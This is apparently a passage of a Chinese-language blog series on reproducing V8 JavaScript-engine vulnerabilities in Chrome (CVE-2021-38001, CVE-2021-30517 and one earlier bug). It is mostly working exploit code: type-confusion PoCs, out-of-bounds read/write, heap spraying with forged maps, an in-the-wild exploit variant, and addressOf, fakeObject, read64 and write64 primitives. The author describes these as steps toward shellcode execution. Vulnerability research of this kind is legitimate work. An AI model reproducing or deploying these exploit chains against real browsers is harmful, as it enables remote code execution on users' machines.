    0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
 }
 - elements: 0x34070804a1b1 <FixedArray[30]> {
        0-29: 5
 }
......

然后挂上GDB进行调试,发现变量z的值(0x80023b500000002)位于elements + 8 + 16 * 8,从这可以看出该PoC达到了越界读的效果,同理,oobWrite函数能达到越界写的目的。

那么我们可以按以下顺序定义变量:

var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};

那么通过arr的越界读,我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取,比如trigger_array变量的偏移为20。我可以通过oobWrite函数去修改trigger_array变量的size位,转换为trigger_array变量的越界利用。

根据上述的数据去修改oobWrite函数和oobRead函数:

function oobRead() {
  return x[21];
}

function oobWrite(addr) {
  x[21] = addr;
}

然后就是修改trigger_arraysize,把trigger_array数组的大小改为0x20:

var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
  oobWrite(u2d(d2u(z)[0], 0x20));
else
  oobWrite(u2d(0x20, d2u(z)[1]));

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    vul_obj[0] = obj_to_leak;
    trigger_array[7] = array_map;
    let obj_addr = ftoi(vul_obj[0])-1n;
    trigger_array[7] = obj_map;
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObject(addr_to_fake)
{
    padding[0] = itof(addr_to_fake + 1n);
    trigger_array[5] = obj_map;
    let faked_obj = padding[0];
    trigger_array[5] = array_map;
    return faked_obj;
}

其他

剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。

在文章开头,就给了一篇分析文章,原理在这篇文章也讲的很清楚了,我这里就不展开再写了。我就简单概括一下说说我的理解。

首先是对foo函数进行JIT优化:

//Optimzie foo
for (let i = 0; i < 40000; i++) {
  if (i == 100) arr2[0] = 1.1;
  foo(arr1);
}

arr1unstable的情况下,经过JIT优化,所以JIT会假设foo函数的输入为SMI数组类型的变量,然后执行x[0] = 1.1;,把x变为浮点型数组类型的变量,但是因为变量x(这个时候x等于arr1)是unstable,因为代码的bug,所以这个时候不会取消JIT优化。

然后执行:

for (let i = 0; i < 40000; i++) oobRead();

oobRead函数也经过JIT优化,这个时候JIT认为变量x是浮点型数组类型。

然后执行foo(arr);,因为之前JIT已经假设了foo函数的输入变量为SMI数组,而arr就是SMI数组变量,所以JIT把x变量设置成了arr,却没有取消oobRead函数对于x变量的假设。

也就是说,在foo函数中,认为x是SMI数组,而oobRead函数中认为x是浮点型数组,这就产生了类型混淆。

所以在oobRead函数中x[21]的取值方式是在地址为x + 8 * 21取8字节的浮点型数值。但是x现在已经等于变量arr了,是一个长度为30的SMI数组,size为: 4 * 30,所以这就导致了溢出。

不过在分析该漏洞的时候仍然还有一些问题没有解决,函数循环多少次会被JIT优化?在什么情况下把arr1转化为unstable,JIT才能正常优化?上面循环40000次,在i==100的时候让arr1变为unstable都是我试出来的,但是为啥是这个次数呢?我还没研究明白。等后续研究明白了可以专门写一篇文章。

CVE-2021-38001(六)


CVE-2021-38001漏洞分析

第四个研究的是CVE-2021-38001,其chrome的bug编号为:1260577

其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21

一键编译相关环境:

$ ./build.sh 9.5.172.21

该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2]:

import * as module from "1.mjs";

function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = module;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }

    for (let i = 0; i < 0x100; i++) {
        trigger();
    }
}

poc();

该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术

V8通用堆喷技术

首先来做个简单的测试:

a = Array(100);
%DebugPrint(a);
%SystemBreak();

使用vmmap查看堆布局:

    0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000]
    0x1f7a00003000     0x1f7a00004000 ---p     1000 0      [anon_1f7a00003]
    0x1f7a00004000     0x1f7a0001a000 r-xp    16000 0      [anon_1f7a00004]
    0x1f7a0001a000     0x1f7a0003f000 ---p    25000 0      [anon_1f7a0001a]
    0x1f7a0003f000     0x1f7a08000000 ---p  7fc1000 0      [anon_1f7a0003f]
    0x1f7a08000000     0x1f7a0802a000 r--p    2a000 0      [anon_1f7a08000]
    0x1f7a0802a000     0x1f7a08040000 ---p    16000 0      [anon_1f7a0802a]
    0x1f7a08040000     0x1f7a0814d000 rw-p   10d000 0      [anon_1f7a08040]
    0x1f7a0814d000     0x1f7a08180000 ---p    33000 0      [anon_1f7a0814d]
    0x1f7a08180000     0x1f7a08183000 rw-p     3000 0      [anon_1f7a08180]
    0x1f7a08183000     0x1f7a081c0000 ---p    3d000 0      [anon_1f7a08183]
    0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]
    0x1f7a08240000     0x1f7b00000000 ---p f7dc0000 0      [anon_1f7a08240]

其中我们注意一下最后一块堆相关信息:

0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]

pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000:    0x0000000000040000 0x0000000000000004
0x1f7a081c0010:    0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020:    0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030:    0x0000000000000000 0x0000000000002118
0x1f7a081c0040:    0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050:    0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060:    0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070:    0xffffffffffffffff 0x0000000000000000

以下为该堆块的相关结构:

0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000

再来看看后面的堆布局:

pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000:    0x0000000000040000 0x0000000000000004
0x1f7a08200010:    0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020:    0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030:    0x0000000000000000 0x0000000000002118
0x1f7a08200040:    0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050:    0x00001f7a08200000 0x0000000000040000
0x1f7a08200060:    0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070:    0xffffffffffffffff 0x0000000000000000

结构同上,可以发现,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]内存区域中,由两个大小为0x40000的v8的堆组成。

如果这个时候,我申请一个0xf700大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:

a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

得到变量a的信息为:

DebugPrint: 0x2beb08049929: [JSArray]
 - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2beb081cc0e9 <JSArray[0]>
 - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
 - length: 63232
 - properties: 0x2beb0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x2beb08242119 <FixedArray[63232]> {
     0-63231: 0x2beb0800242d <the_hole>
 }

发现堆布局的变化:

    0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0]

size从0x80000变成了0xc0000,跟我预想的一样,增加了0x40000,而变量aelements字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119

在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119

另外,堆地址总是从0x00000000开始的,在我的环境中,上述堆的高2字节总是0x081c,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0

如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:

big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
      }
      big_array.push(tmp);
}

通过该方法堆喷,我们能确定一个地址:0x30002121,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)的值,从而算出i,j:

var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);

该方法的作用是获取Uint32Array类型变量的bytelength属性,可以通过调试,了解一下Uint32Array类型变量的结构。

但是为什么evil(地址为0x30002121),会被当成Uint32Array类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:

ut_map = itof(0x300021a1);
  buffer = itof(0x3000212900000000);

  address = itof(0x12312345678);
  ut_map1 = itof(0x1712121200000000);
  ut_map2 = itof(0x3ff5500082e);
  ut_length = itof(0x2);
  double_map = itof(0x300022a1);
  double_map1 = itof(0x1604040400000000);
  double_map2 = itof(0x7ff11000834);

  big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
          tmp[0x8 / 0x8 + j * 0x1000] = buffer;
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
          tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
          tmp[0x28 / 0x8 + j * 0x1000] = address;
          tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
          tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
          tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
          tmp[0x100 / 0x8 + j * 0x1000] = double_map;
          tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
          tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
      }
      big_array['push'](tmp);
  }

后续利用中同样可以使用该思路伪造一个doule数组的变量或者obj数组的变量。

接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

可以把PoC化简一下:

import('./2.mjs').then((m1) => {
    var f64 = new Float64Array(1);
    var bigUint64 = new BigUint64Array(f64.buffer);
    var u32 = new Uint32Array(f64.buffer);

    function d2u(v) {
        f64[0] = v;
        return u32;
    }
    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }
    function ftoi(f)
    {
        f64[0] = f;
        return bigUint64[0];
    }
    function itof(i)
    {
        bigUint64[0] = i;
        return f64[0];
    }
    class C {
        m() {
            return super.x;
        }
    }
    obj_prop_ut_fake = {};
    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
    }
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();
    %DebugPrint(evil);
});

运行一下PoC,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289),SMI类型的变量,值为0x20202021,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042,也就是我们在PoC中设置的值。

编写堆喷代码

在PoC中加上我们的堆喷代码(同时进行堆布局):

a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;

其中0x082c2121big_array[0]的地址,0x08242119ptr_array[0]的地址。

然后是leak变量a和变量b的map地址:

let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
    b[0] = obj_to_leak;
    evil[0] = double_array_map;
    let obj_addr = ftoi(b[0])-1n;
    evil[0] = obj_array_map;
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObject(addr_to_fake)
{
    big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
    a[0] = itof(addr_to_fake + 1n);
    evil[0] = obj_array_map;
    let faked_obj = a[0];
    evil[0] = double_array_map;
    return faked_obj;
}

之后就是按照模版来了,修改修改偏移,就能执行shellcode了。

优化

该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map还是obj array map都能,所以没必要再泄漏这些数据了。

我们的堆喷代码能进行一些优化:

double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;

其中big_array[0x100/8]是我们伪造的double array mapbig_array[0x150/8]是我们伪造的object array map

addressOf函数和fakeObj函数也进行一波优化:

function fakeObject(addr_to_fake)
{
    big_array[0x058/8] = itof(addr_to_fake + 1n);        
    let faked_obj = evil[0];
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    evil[0] = obj_to_leak;
    big_array[0x000/8] = u2d(double_array_addr, 0);
    let obj_addr = ftoi(evil[0])-1n;
    big_array[0x000/8] = u2d(obj_array_addr, 0);
    return obj_addr;
}

其他PoC

该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:

function triger_type_confusion() {
    return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
  constructor() {
      super();
      obj_or_function = super.x;
  }
}

obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
  obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
  'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;

for (let i = 0x0; i < 0xa; i++) {
  new C();
}
new C();
fake_ut = obj_or_function;

不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。

该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3][4]

需要了解一下JS获取属性的原理,还有Inline Caches相关的知识。

这里我只简单说说该漏洞的问题:

在最开始执行10次new C(),因为Lazy feedback allocation,所以并没有对属性访问进行优化,这个时候的super就是m1,但是在执行完10次之后,开始进行Inline Caches优化,因为内联缓存代码的bug,super的值变成了变量c: let c = new C();,之后的流程如下:

  1. super.x的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
  2. 因为Lazy feedback allocationtrigger函数在执行10次之后,触发了Inline Caches,为了加速代码执行速度,把super.x取值的顺序直接转换成汇编代码。
  3. 漏洞代码,在翻译汇编代码的时候,把super翻译成了变量c
  4. c+0xC位置储存的是obj_prop_ut_fake
  5. obj_prop_ut_fake+0x4储存的是该变量的properties(属性),也就是obj_prop_ut_fake.xn
  6. obj_prop_ut_fake.properties + 0x28获取到的是HeapNumber结构地址。
  7. HeapNumber+0x4地址的值为u2d(0x40404042, 0)

CVE-2021-30517(七)


复现CVE-2021-30517

第五个研究的是CVE-2021-30517,其chrome的bug编号为:1203122

可以很容易找到其相关信息:

受影响的Chrome最高版本为:90.0.4430.93
受影响的V8最高版本为:9.0.257.23

相关PoC:

function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()
}

在Chrome的bug信息页面除了poc外,同时也公布了exp,有需要的可自行下载研究。

一键编译相关环境:

$ ./build.sh 9.0.257.23

该PoC跟上篇文章的PoC相似度很高,原理也相似,所以可以尝试上文的堆喷技术来写该漏洞的EXP,但是该漏洞还存在另一个PoC:

obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
    class C {
        m() {
            return super.length;
        }
    }
    f = new String("aaaa");
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = obj_array;
    f.length;
    return c.m();
}
for (let i = 0; i < 0x100; ++i) {
    r = main()
    if (r != 4) {
        console.log(r);
        break;
    }
}

运行PoC,得到结果:

DebugPrint: 0x322708088a01: [JSArray]
 - map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32270820b899 <JSArray[0]>
 - elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x32270804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3227080889f5 <FixedArray[1]> {
           0: 0x3227080889c9 <Object map = 0x322708247141>
 }

134777333
hex(134777333) = 0x80889f5

最后返回的length等于obj_array变量的elements地址。理解了上文对类型混淆的讲解,应该能看懂上述的PoC,该PoC通过String和Array类型混淆,从而泄漏出obj_array变量的elements。根据该逻辑我们来编写EXP。

泄漏变量地址

obj = {a:1};
obj_array = [obj];
class C {
    constructor() {
        this.x0 = obj_array;
    }
    m() {
        return super.length;
    }
}
let receive = new C();
function trigger1() {   
    lookup_start_object = new String("aaaa");
    C.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive.m()
}
for (let i = 0; i < 140; ++i) {
    trigger1();
}
element = trigger1();

编写addressOf函数

在上面的基础上,编写addressOf函数:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    receive2.length = (element-0x1)/2;
    low3 = trigger2();
    receive2.length = (element-0x1+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res-1;
}

class B extends Array {
    m() {
        return super.length;
    }
}
let receive2 = new B();
function trigger2() {   
    lookup_start_object = new String("aaaa");
    B.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive2.m()
}
for (let i = 0; i < 140; ++i) {
    trigger2();
}

addressOf函数与之前的文章中编写的,稍显复杂了一些,这里做一些解释。

receive2length属性属于SMI类型,储存在内存中的值为偶数,其值除以2,就是真正的SMI的值。

String对象读取length的路径为:String->value(String+0xB)->length(*value+0x7)

因为receive2对象通过漏洞被认为了是String对象,所以receive2+0xB的值为receive2.length属性的值。

所以我们可以通过receive2.length来设置value的值,但是只能设置为偶数,而正确的值应该为奇数,所以这里我们需要读两次,然后通过位运算,还原出我们实际需要的值。

编写read32函数

跟之前的模版不同,该漏洞能让我们在不构造fake_obj的情况下编写任意读函数,为了后续利用更方便,所以该漏洞的EXP我们加入了read32函数:

function read32(addr)
{
    receive2.length = (addr-0x8)/2;
    low3 = trigger2();
    receive2.length = (addr-0x8+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res;
}

原理和addressOf一样。

编写read64函数

因为该漏洞的特性,我们这次不需要编写fakeObject函数,所以接下来我们需要构造fake_obj来编写read64函数。

多调试一下我们前文使用的PoC,该PoC只能泄漏地址,但是没办法让我们得到一个伪造的对象。但是文章的最开始,Chrome的bug页面中给的PoC,却可以让我们得到一个对象。因为是把函数的prototype对象进行类型混淆。

构造fake_obj的代码如下所示:

var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();
function trigger3() {   
    function lookup_start_object(){};
    A.prototype.__proto__ = lookup_start_object;
    lookup_start_object.prototype;
    return receive3.m()
}
for (let i = 0; i < 140; ++i) {
    trigger3();
}
fake_object = trigger3();

通过调试我们可以发现,函数lookup_start_object获取prototype对象的路径为:lookup_start_object->function prototype(lookup_start_object+0x1B),如果该地址的map为表示类型的对象,如下所以:

0x257d08242281: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map

改对象的特点为:

pwndbg> x/2gx 0x257d08242281-1
0x257d08242280:    0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0:    0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
 - type: MAP_TYPE
 - instance size: 40
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x257d080423b5 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x257d08042235 <null>
 - constructor: 0x257d08042235 <null>
 - dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

如果lookup_start_object+0x1B执行的地址的map值为0x08242281,则获取其prototype(+0xF)

在上述的PoC中:fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);就是在伪造MAP类型的map。

该地址加上0xffake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);,指向了fake_array的开始:

fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);

而最开始,就是我们伪造的浮点型数组。有了fake_obj之后我们就可以编写read64函数了:

function read64(addr)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    return fake_object[0];
}

编写write64函数

然后就是write64函数:

function write64(addr, data)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    fake_object[0] = itof(data);
}

其他

剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。

上述伪造fake_obj的逻辑中,v8返回函数的prototype的逻辑如下:

Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
                                                 Label* if_bailout) {
  CSA_ASSERT(this, TaggedIsNotSmi(function));
  CSA_ASSERT(this, IsJSFunction(function));
  CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
                                 1 << Map::kHasNonInstancePrototype));
  Node* proto_or_map =
      LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
  GotoIf(IsTheHole(proto_or_map), if_bailout);
  VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
  Label done(this, &var_result);
  GotoIfNot(IsMap(proto_or_map), &done);  -> 判断是否为MAP对象
  var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf
  Goto(&done);
  BIND(&done);
  return var_result.value();
}

该漏洞的原理在Chrome的bug描述页面也有说明,就是receiverlookup_start_object搞混了。

下例代码:

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();

其中变量receive3就是receiver,而lookup_start_objectA.prototype.__proto__

然后就是以下代码:

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
  // `in` cannot be called on strings, and will always return true for string
  // wrapper length and function prototypes. The latter two cases are given
  // LoadHandler::LoadNativeDataProperty below.
  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
    if (receiver->IsStringWrapper() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }
    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() &&
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }
  Handle<Map> map = lookup_start_object_map();
  Handle<JSObject> holder;
  bool holder_is_lookup_start_object;
  if (lookup->state() != LookupIterator::JSPROXY) {
    holder = lookup->GetHolder<JSObject>();
    holder_is_lookup_start_object =
        lookup->lookup_start_object().is_identical_to(holder);
  }

当获取函数的prototype属性或者字符串对象获取其length属性时(也就是super.prototype(super.length)),使用的是receiver而不是A.prototype.__proto__

上述代码为ICs的优化代码,在没有进行inline cache的情况下,漏洞并不会发生。

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1203122

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK